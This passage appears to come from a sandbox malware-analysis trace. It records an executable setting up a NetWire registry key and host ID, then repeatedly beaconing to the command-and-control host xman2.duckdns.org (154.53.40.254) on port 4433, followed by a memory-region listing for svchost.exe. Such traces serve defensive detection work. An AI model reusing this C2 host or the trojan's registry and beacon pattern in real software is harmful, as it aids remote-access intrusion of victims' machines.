(hModule=0x76720000, lpProcName="AreFileApisANSI") returned 0x7673f300 [0212.793] AreFileApisANSI () returned 1 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", cchWideChar=-1, lpMultiByteStr=0x448070, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpUsedDefaultChar=0x0) returned 99 [0212.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x6b) returned 0x678048 [0212.794] RtlInitializeSListHead (in: ListHead=0x447f90 | out: ListHead=0x447f90) [0212.794] GetLastError () returned 0x0 [0212.794] SetLastError (dwErrCode=0x0) [0212.794] GetEnvironmentStringsW () returned 0x682208* [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1293 [0212.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50d) returned 0x682c30 [0212.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x682c30, cbMultiByte=1293, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1293 [0212.794] FreeEnvironmentStringsW (penv=0x682208) returned 1 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x90) returned 0x6740a0 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1f) returned 0x670580 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2e) returned 0x6786b0 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x37) returned 0x67e6b8 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3c) returned 0x67b078 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x31) returned 0x67e938 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x14) returned 0x673c08 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x672928 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd) returned 0x67a200 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1d) returned 0x673790 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x31) returned 0x67ecb8 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x15) returned 0x6737b8 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x674538 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x67a560 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x69) returned 0x674168 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3e) returned 0x67ae80 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x674558 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1d) returned 0x674580 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x48) returned 0x673c50 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x673ca0 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x673808 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x673828 [0212.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x673850 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x6783d8 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1e) returned 0x6745c0 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x6b) returned 0x6779c0 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x6745e8 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xf) returned 0x67a530 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x16) returned 0x674608 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2a) returned 0x678448 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x6784f0 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x672610 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x21) returned 0x672630 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x16) returned 0x672660 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x22) returned 0x673ed8 [0212.796] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x673f08 [0212.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x682c30 | out: hHeap=0x670000) returned 1 [0212.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x800) returned 0x682208 [0212.803] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0212.803] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41b38f) returned 0x0 [0212.890] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x197d94 | out: lpWSAData=0x197d94) returned 0 [0212.904] GetCurrentProcessId () returned 0x11bc [0212.904] GetTickCount () returned 0x13f0b0c [0212.904] GetCurrentThreadId () returned 0x11a0 [0212.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x48) returned 0x6833c8 [0213.016] StrToIntA (lpSrc="4433") returned 4433 [0213.016] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x48) returned 0x6835a8 [0213.018] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6835a8 | out: hHeap=0x670000) returned 1 [0213.020] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x196fc4, nSize=0x204 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe")) returned 0x62 [0213.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", cchWideChar=-1, lpMultiByteStr=0x197810, cbMultiByte=516, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe", lpUsedDefaultChar=0x0) returned 99 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="-") returned 0x178 [0213.020] GetLastError () returned 0x0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.020] StrToIntA (lpSrc="000") returned 0 [0213.021] StrToIntA (lpSrc="000") returned 0 [0213.021] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\NetWire", ulOptions=0x0, samDesired=0x201, phkResult=0x1973a0 | out: phkResult=0x1973a0*=0x0) returned 0x2 [0213.021] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\NetWire", ulOptions=0x0, samDesired=0x101, phkResult=0x1973a0 | out: phkResult=0x1973a0*=0x0) returned 0x2 [0213.021] GetSystemTime (in: lpSystemTime=0x19738c | out: lpSystemTime=0x19738c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x9, wMinute=0x2d, wSecond=0x26, wMilliseconds=0x36)) [0213.021] GetLastError () returned 0x0 [0213.021] SetLastError (dwErrCode=0x0) [0213.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\NetWire", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19739c, lpdwDisposition=0x0 | out: phkResult=0x19739c*=0x180, lpdwDisposition=0x0) returned 0x0 [0213.029] RegSetValueExA (in: hKey=0x180, lpValueName="HostId", Reserved=0x0, dwType=0x1, lpData="HostId-GYu0S0", cbData=0xd | out: lpData="HostId-GYu0S0") returned 0x0 [0213.029] RegCloseKey (hKey=0x180) returned 0x0 [0213.029] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\NetWire", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x1973b4, lpdwDisposition=0x0 | out: phkResult=0x1973b4*=0x180, lpdwDisposition=0x0) returned 0x0 [0213.029] RegSetValueExA (in: hKey=0x180, lpValueName="Install Date", Reserved=0x0, dwType=0x1, lpData="2022-08-05 09:45:38", cbData=0x13 | out: lpData="2022-08-05 09:45:38") returned 0x0 [0213.029] RegCloseKey (hKey=0x180) returned 0x0 [0213.040] StrToIntA (lpSrc="001") returned 1 [0213.040] StrToIntA (lpSrc="001") returned 1 [0213.043] gethostbyname (name="xman2.duckdns.org") returned 0x68bd70*(h_name="xman2.duckdns.org", h_aliases=0x68bd80*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x68bd84*=([0]="154.53.40.254")) [0215.837] htons (hostshort=0x1151) returned 0x5111 [0215.837] socket (af=2, type=1, protocol=6) returned 0x260 [0215.858] connect (s=0x260, name=0x197ef0*(sa_family=2, sin_port=0x1151, sin_addr="154.53.40.254"), namelen=16) returned -1 [0217.449] shutdown (s=0x260, how=2) returned -1 [0217.449] closesocket (s=0x260) returned 0 [0217.450] StrToIntA (lpSrc="075") returned 75 [0217.450] Sleep (dwMilliseconds=0x124f8) [0227.461] StrToIntA (lpSrc="001") returned 1 [0227.461] StrToIntA (lpSrc="001") returned 1 [0227.463] gethostbyname (name="xman2.duckdns.org") returned 0x68bd70*(h_name="xman2.duckdns.org", h_aliases=0x68bd80*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x68bd84*=([0]="154.53.40.254")) [0227.471] htons (hostshort=0x1151) returned 0x5111 [0227.471] socket (af=2, type=1, protocol=6) returned 0x260 [0227.471] connect (s=0x260, name=0x197ef0*(sa_family=2, sin_port=0x1151, sin_addr="154.53.40.254"), namelen=16) returned -1 [0229.115] shutdown (s=0x260, how=2) returned -1 [0229.115] closesocket (s=0x260) returned 0 [0229.123] StrToIntA (lpSrc="075") returned 75 [0229.123] Sleep (dwMilliseconds=0x124f8) Thread: id = 107 os_tid = 0x11a8 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x78070000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "4" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d731" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1451 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1452 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1453 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1454 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1455 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1456 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1457 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1458 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1459 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1460 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1461 start_va = 0x7ff73d8f0000 end_va = 0x7ff73d8fcfff monitored = 0 entry_point = 0x7ff73d8f3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1462 start_va = 0x7fff14bd0000 end_va = 0x7fff14d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1582 start_va = 0x100000 end_va = 0x1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1583 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1584 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1585 start_va = 0x7fff12dd0000 end_va = 0x7fff12e7cfff monitored = 0 entry_point = 0x7fff12de81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1586 start_va = 0x7fff11280000 end_va = 0x7fff11467fff monitored = 0 entry_point = 0x7fff112aba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1587 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1588 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1589 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1590 start_va = 0x1d0000 end_va = 0x1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1591 start_va = 0x7fff12410000 end_va = 0x7fff1246afff monitored = 0 entry_point = 0x7fff124238b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1592 start_va = 0x7fff121a0000 end_va = 0x7fff122bbfff monitored = 0 entry_point = 0x7fff121e02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1593 start_va = 0x500000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 1594 start_va = 0x7fff10390000 end_va = 0x7fff10483fff monitored = 0 entry_point = 0x7fff1039a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1595 start_va = 0x7fff12470000 end_va = 0x7fff126ecfff monitored = 0 entry_point = 0x7fff12544970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1596 start_va = 0x7fff128b0000 end_va = 0x7fff1294cfff monitored = 0 entry_point = 0x7fff128b78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1597 start_va = 0x7fff11bc0000 end_va = 0x7fff11c29fff monitored = 0 entry_point = 0x7fff11bf6d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1598 start_va = 0x580000 end_va = 0x656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1599 start_va = 0x660000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1600 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1601 start_va = 0x800000 end_va = 0x8dcfff monitored = 0 entry_point = 0x85e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1602 start_va = 0x7fff11270000 end_va = 0x7fff1127efff monitored = 0 entry_point = 0x7fff11273210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1603 start_va = 0x7fff14a70000 end_va = 0x7fff14bc5fff monitored = 0 entry_point = 0x7fff14a7a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1604 start_va = 0x7fff12f30000 end_va = 0x7fff130b5fff monitored = 0 entry_point = 0x7fff12f7ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1605 start_va = 0x580000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1606 start_va = 0x650000 end_va = 0x656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 1607 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1608 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1609 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1610 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1611 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1612 start_va = 0x660000 end_va = 0x6f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1613 start_va = 0xb20000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1614 start_va = 0xc00000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1615 start_va = 0xd00000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1616 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1617 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 1618 start_va = 0x7fff0b340000 end_va = 0x7fff0b48cfff monitored = 0 entry_point = 0x7fff0b383da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1619 start_va = 0x7fff0fea0000 end_va = 0x7fff0feabfff monitored = 0 entry_point = 0x7fff0fea2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1620 start_va = 0x7fff0b320000 end_va = 0x7fff0b337fff monitored = 0 entry_point = 0x7fff0b325910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1621 start_va = 0x7fff0b300000 end_va = 0x7fff0b316fff monitored = 0 entry_point = 0x7fff0b305630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1622 start_va = 0x7fff0b2e0000 end_va = 0x7fff0b2f2fff monitored = 0 entry_point = 0x7fff0b2e57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1623 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1624 start_va = 0x7fff12100000 end_va = 0x7fff1216afff monitored = 0 entry_point = 0x7fff121190c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1625 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1626 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1627 start_va = 0x660000 end_va = 0x6b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1628 start_va = 0x6f0000 end_va = 0x6f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1629 start_va = 0x1200000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1630 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1631 start_va = 0x7fff10d20000 end_va = 0x7fff10d75fff monitored = 0 entry_point = 0x7fff10d30bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1632 start_va = 0x7fff0b2d0000 end_va = 0x7fff0b2d9fff monitored = 0 entry_point = 0x7fff0b2d1660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1633 start_va = 0x7fff0b270000 end_va = 0x7fff0b2c4fff monitored = 0 entry_point = 0x7fff0b27fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1634 start_va = 0x7fff127a0000 end_va = 0x7fff12860fff monitored = 0 entry_point = 0x7fff127c0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1635 start_va = 0x7fff111f0000 end_va = 0x7fff11203fff monitored = 0 entry_point = 0x7fff111f52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1636 start_va = 0x1300000 end_va = 0x1442fff monitored = 0 entry_point = 0x1328210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1637 start_va = 0x7fff0b240000 end_va = 0x7fff0b266fff monitored = 0 entry_point = 0x7fff0b243bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 1638 start_va = 0x7fff11fd0000 end_va = 0x7fff1202bfff monitored = 0 entry_point = 0x7fff11feb720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1639 start_va = 0x7fff13500000 end_va = 0x7fff14a5efff monitored = 0 entry_point = 0x7fff136611f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1640 start_va = 0x7fff11b70000 end_va = 0x7fff11bb2fff monitored = 0 entry_point = 0x7fff11b84b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1641 start_va = 0x7fff11470000 end_va = 0x7fff11ab3fff monitored = 0 entry_point = 0x7fff116364b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1642 start_va = 0x7fff12e80000 end_va = 0x7fff12f26fff monitored = 0 entry_point = 0x7fff12e958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1643 start_va = 0x7fff12d70000 end_va = 0x7fff12dc1fff monitored = 0 entry_point = 0x7fff12d7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1644 start_va = 0x7fff10950000 end_va = 0x7fff1096efff monitored = 0 entry_point = 0x7fff10955d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1645 